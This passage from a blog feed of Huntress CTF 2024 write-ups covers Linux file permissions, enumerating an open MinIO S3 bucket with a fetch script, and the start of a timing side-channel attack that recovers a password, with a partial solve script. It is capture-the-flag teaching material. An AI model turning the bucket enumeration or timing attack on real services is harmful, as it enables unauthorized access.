&lt;p&gt;Now again we go back to &lt;code&gt;myfile.txt&lt;/code&gt;.  So again we just need the output of &lt;code&gt;ls -l&lt;/code&gt; for this job.&lt;/p&gt;
&lt;p&gt;For question 7, as we can see the &amp;lsquo;w&amp;rsquo; is set only for the user. So only the user who owns the file can write to it. So, no, john cannot write to it.&lt;/p&gt;
&lt;p&gt;For question 8, the execution flag &amp;lsquo;x&amp;rsquo; is set for both user and group who owns the file. And admin happens to be the group. So yes, admin can execute the file.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/linux-basics/6.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;answer 7,8&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Question 9: Which user on the system, except for you, root, admin and john, can execute /home/user/myfile.txt?&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;For question 9, if we recall from question 8, only the user and group who owns the file can execute it. So the user who owns it is root. But what about the group. If anyone other than the given list of user can execute it, they must be a member of group admin. So examining &lt;code&gt;/etc/group&lt;/code&gt;, we can notice a user &lt;code&gt;rose&lt;/code&gt; in the group admin. So yeah, that user can execute the file.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/linux-basics/7.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;answer 9&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Question 10: /home/user/myfile.txt looks like a txt file, but it actually isn&#39;t. What kind of file is it?&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;So it is not a text file? When in doubt, use the &lt;code&gt;file&lt;/code&gt; utility. It reveals that it is a JPEG image. So the answer is jpeg.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/linux-basics/8.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;answer 10&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;Once I give that answer, the program gives me the flag. So that&amp;rsquo;s it? Well yes, but no.&lt;/p&gt;
&lt;p&gt;My curiosity wanted me to know what that image is. So I exfiltrated it. For anyone wondering, the tool &lt;code&gt;xxd&lt;/code&gt; was available. So I dumped the image. Copied the dump to &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/linux-basics/somehexdump&#34; &gt;somehexdump&lt;/a&gt; and did the reverse operation on my machine to &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/linux-basics/somejpeg.jpeg&#34; &gt;somejpeg.jpeg&lt;/a&gt;. Opening the file I found:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/linux-basics/somejpeg.jpeg&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;the jpeg&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;Hmm. That seems like something. Something great. Or some great rabbit hole. Or a wild goose hunt. I don&amp;rsquo;t know. I spend some time snooping around the instance trying to look for things but then I moved on to the next challenge. So if I find anyone who found it (if it is real) I&amp;rsquo;ll update.&lt;/p&gt;
</description>
        </item>
        <item>
        <title>Miscellaneous - Malibu</title>
        <link>https://itsmonish.pages.dev/blog/huntress-ctf-2024/misc-malibu/</link>
        <pubDate>Sat, 26 Apr 2025 17:51:33 +0530</pubDate>
        
        <guid>https://itsmonish.pages.dev/blog/huntress-ctf-2024/misc-malibu/</guid>
        <description>&lt;h1 id=&#34;malibu&#34;&gt;Malibu
&lt;/h1&gt;&lt;h2 id=&#34;challenge-statement&#34;&gt;Challenge Statement
&lt;/h2&gt;&lt;p&gt;Author: Truman Kain&lt;/p&gt;
&lt;p&gt;What do you bring to the beach?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;NOTE: There are two things to note for this challenge.&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;This service takes a bit more time to start. If you see a &lt;code&gt;Connection refused&lt;/code&gt;, please wait a bit more.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;This service will not immediately respond or prompt you&amp;hellip; it is waiting for your input. If you just hit Enter, you will see what it is.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Extra tip, once you know what the service is, try connecting in a better way. Then use some of the context clues and critical thinking based off its response and the challenge description. You don&amp;rsquo;t need any bruteforcing once you understand the infrastructure and enumerate. ;)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: This challenge was accompanied with a per-user instance&lt;/p&gt;
&lt;h2 id=&#34;solution&#34;&gt;Solution
&lt;/h2&gt;&lt;p&gt;Spinning up the per-user instance for the challenge I was given a command line to connect to a instance using netcat. It printed nothing. No prompt. Just like they told in the challenge description. So it seems it is waiting for some input, not sure what. I typed in a hello, because I had to give it something.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/malibu/1.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;hello to server&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;HTTP? Bad Request? So is this a HTTP server? One way to find out. I crafted a valid HTTP request (fancy way of telling I typed it). Since I did not know what endpoints are available I just requested a &lt;code&gt;/testing&lt;/code&gt; endpoint.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/malibu/2.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;testing the server&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;This confirms this is definitely a HTTP server. And based on the reply we can deduce a few things. First thing is it is running a MinIO server. I didn&amp;rsquo;t know what it really was, so I looked it up. The website tells that it is a S3 compatible storage service. Since I have spent some time using AWS, I knew what S3 is. &lt;a class=&#34;link&#34; href=&#34;https://aws.amazon.com/s3/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;S3&lt;/a&gt; is a simple object storage service that is part of the AWS infrastructure. Users can store their files and data in it.&lt;/p&gt;
&lt;p&gt;The reply header &lt;code&gt;X-Amz-Id-2&lt;/code&gt; and &lt;code&gt;X-Amz-Request-Id&lt;/code&gt; further supports this point that we are communicating with some AWS infrastructure.&lt;/p&gt;
&lt;p&gt;Lastly, the endpoint name I gave is taken as a name of a bucket. Bucket? Yes, S3 allows user to separate files they upload by creating various &amp;ldquo;buckets&amp;rdquo;. Each bucket acts as a separately independent storage. So it is logical to assume that we are to query a endpoint that points to a valid bucket name.&lt;/p&gt;
&lt;p&gt;Now that brings up the question what is the name of the bucket? I thought a clue to this was in the challenge description, &amp;ldquo;What do you bring to the beach?&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;I used Burpsuite&amp;rsquo;s repeater module to modify the endpoint and send requests rather than typing full request bodies. At this point, I was trying every object that I could think of. Sunglasses, towel, sunscreen etc, etc, etc. I even looked up websites with over 75 &amp;ldquo;essentials&amp;rdquo; for beach trip. But none worked. It was a 403 error.&lt;/p&gt;
&lt;p&gt;You see the answer was right in the face all this time. After all the years I spent watching Tom and Jerry cartoon should have made me realize it. But one can take &amp;ldquo;bucket&amp;rdquo; to a beach. Quite ironic huh? Bucket as name for the name of the bucket. So yeah that returned a lengthy XML file.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/malibu/3.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;bucket endpoint&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;I copied it and wrote it to &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/malibu/xmlCon.xml&#34; &gt;xmlCon.xml&lt;/a&gt;. After some more internet searches I found that the node &lt;code&gt;Key&lt;/code&gt; had the valid endpoints that pointed to files in the bucket. So I put together a python script &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/malibu/collect.py&#34; &gt;collect.py&lt;/a&gt; to collect them all and write it to &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/malibu/out.txt&#34; &gt;out.txt&lt;/a&gt;. For some reason I couldn&amp;rsquo;t find, the XML parser threw error after error. So I just wrote the program to check for the string &amp;lsquo;Key&amp;rsquo; in the lines it read and collect the file that pointed.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;import&lt;/span&gt; requests
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;import&lt;/span&gt; sys
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;with&lt;/span&gt; open(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;xmlCon.xml&amp;#39;&lt;/span&gt;) &lt;span style=&#34;color:#66d9ef&#34;&gt;as&lt;/span&gt; f:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    cons &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; f&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;read()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;content &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; cons&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;split(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;keys &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; []
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; line &lt;span style=&#34;color:#f92672&#34;&gt;in&lt;/span&gt; content:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    line &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; line&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;strip()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; line[:&lt;span style=&#34;color:#ae81ff&#34;&gt;5&lt;/span&gt;] &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;lt;Key&amp;gt;&amp;#34;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        keys&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;append(line[&lt;span style=&#34;color:#ae81ff&#34;&gt;5&lt;/span&gt;:&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;6&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;port &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; int(sys&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;argv[&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;with&lt;/span&gt; open(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;out.txt&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;w&amp;#39;&lt;/span&gt;) &lt;span style=&#34;color:#66d9ef&#34;&gt;as&lt;/span&gt; f:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    f&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;write(keys)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; key &lt;span style=&#34;color:#f92672&#34;&gt;in&lt;/span&gt; keys:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        con &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; requests&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;get(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;http://challenge.ctf.games:&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;/bucket/&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;format(port,key))&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;content&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;decode()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            f&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;write(key&lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            f&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;write(con&lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Opening the file, I saw a lot of data. I mean lots and lots of data. My thought was that the flag should be encoded in one of these file data. With the amount of base64 encoding I have encountered I thought it was base64 encoded. But to my surprise, none was the data was valid base64 encoding.&lt;/p&gt;
&lt;p&gt;So obviously, I thought I was missing something. Maybe a different kind of encoding perhaps? So search, search and search. After quite some time, in a moment of &amp;lsquo;I had no idea what I was even thinking&amp;rsquo; I ran grep on the file with &amp;lsquo;flag&amp;rsquo; as search string. And guess what, I found the flag. It was right in the face all along. Again.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/malibu/4.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;found flag&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;Moral of the story, overthinking is bad.&lt;/p&gt;
</description>
        </item>
        <item>
        <title>Miscellaneous - Time will tell</title>
        <link>https://itsmonish.pages.dev/blog/huntress-ctf-2024/misc-time-will-tell/</link>
        <pubDate>Sat, 26 Apr 2025 17:51:33 +0530</pubDate>
        
        <guid>https://itsmonish.pages.dev/blog/huntress-ctf-2024/misc-time-will-tell/</guid>
        <description>&lt;h1 id=&#34;time-will-tell&#34;&gt;Time will tell
&lt;/h1&gt;&lt;h2 id=&#34;challenge-statement&#34;&gt;Challenge Statement
&lt;/h2&gt;&lt;p&gt;Author: @aenygma&lt;/p&gt;
&lt;p&gt;A side channel timing attack.&lt;/p&gt;
&lt;p&gt;Figure out the password in 90 seconds before connection terminates.&lt;/p&gt;
&lt;p&gt;The password is dynamic and changes every connection session.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;NOTE, the password is eight characters long and will be hexadecimal.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: This challenge was accompanied with a per-user instance&lt;/p&gt;
&lt;p&gt;Attachment: &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/time-will-tell/app.py&#34; &gt;app.py&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;solution&#34;&gt;Solution
&lt;/h2&gt;&lt;p&gt;Oh this was a good one. I mean they did tell it is side channel timing attack right there. But still we can have fun. We are given a python script &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/time-will-tell/app.py&#34; &gt;app.py&lt;/a&gt;. It is not a very big script, so if you want to go through it entirely you are free to do that, but here is the gist of the script.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;generate_password&lt;/span&gt;() &lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt; str:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    tmp &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; secrets&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;token_hex(PASSWORD_LEN)&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;lower()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#75715e&#34;&gt;# with open(&amp;#34;dump&amp;#34;, &amp;#39;w&amp;#39;) as fh:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#75715e&#34;&gt;#     fh.write(tmp)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; tmp
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This function generates the password that we need to find. It uses secrets module. So no pseudo random passwords. The password will be 8 characters long compromising hex characters as the challenge description tells us.&lt;/p&gt;
&lt;p&gt;Now the big guns of the script:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;do_heavy_compute&lt;/span&gt;() &lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;None&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    time&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;sleep(SIMULATE_COMPUTE_TIME)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;check_guess&lt;/span&gt;(guess, realdeal) &lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt; bool:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; len(guess) &lt;span style=&#34;color:#f92672&#34;&gt;!=&lt;/span&gt; len(realdeal):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;False&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    do_heavy_compute()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; idx &lt;span style=&#34;color:#f92672&#34;&gt;in&lt;/span&gt; range(len(guess)):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; guess[idx] &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; realdeal[idx]:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            do_heavy_compute()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;else&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;False&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;True&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We have a function &lt;code&gt;do_heavy_compute&lt;/code&gt; that just sleeps for 0.1 second. It is made use by the &lt;code&gt;check_guess&lt;/code&gt; function below that. Now this is where the base of exploit is. We can draw a number of points from here:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;If the length of our guess isn&amp;rsquo;t equal to the length of the &lt;code&gt;realdeal&lt;/code&gt; (the password to guess), it just exits right away.&lt;/li&gt;
&lt;li&gt;If both have the same length, then the guesses are iterated with each index. So for every right character we guess from the start, the more number of times &lt;code&gt;do_heavy_compute&lt;/code&gt; is called.&lt;/li&gt;
&lt;li&gt;If we guess a wrong character in an index the function just returns.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;So in summary, if our guess and the password is off same length, then the function or the program will sleep more with as many number of right guesses we have from the left.&lt;/p&gt;
&lt;p&gt;One can think that it&amp;rsquo;s just 8 hexadecimal characters. So 16**8 = 4294967296. All we have is 90 seconds. So no, brute force is not an option.&lt;/p&gt;
&lt;p&gt;What we can do is, we can guess 8 character passwords with the varying the leftmost character in the password. One of those guesses must take longer than the others to return. So if we record our timings, the character with most delay must be the valid character in that index. Then we can move the next one in the right. Moving right and right, the program will take longer periods of delay if we are building the right password.&lt;/p&gt;
&lt;p&gt;I then spun up the instance just to see how the service is. It was a netcat connection.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/time-will-tell/1.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;checking the service&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;So we got some text, a prompt and incorrect messages. In 90 seconds, I don&amp;rsquo;t really think it is possible to type in 128 guesses (16 * 8) and time it as well. Of course, python script to the rescue. I put together &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/time-will-tell/solve.py&#34; &gt;solve.py&lt;/a&gt;
to read from the socket and send the guesses and record the timings in a list.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;import&lt;/span&gt; time
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;import&lt;/span&gt; socket
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;import&lt;/span&gt; sys
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;import&lt;/span&gt; select
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;chars &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; [&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;]&lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;seek &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;timings &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; []
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;getNext&lt;/span&gt;() &lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt; str:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;global&lt;/span&gt; seek
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;global&lt;/span&gt; timings
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; seek &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        print(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Password should have been obtained&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        exit(&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; chars[seek] &lt;span style=&#34;color:#f92672&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;16&lt;/span&gt;:
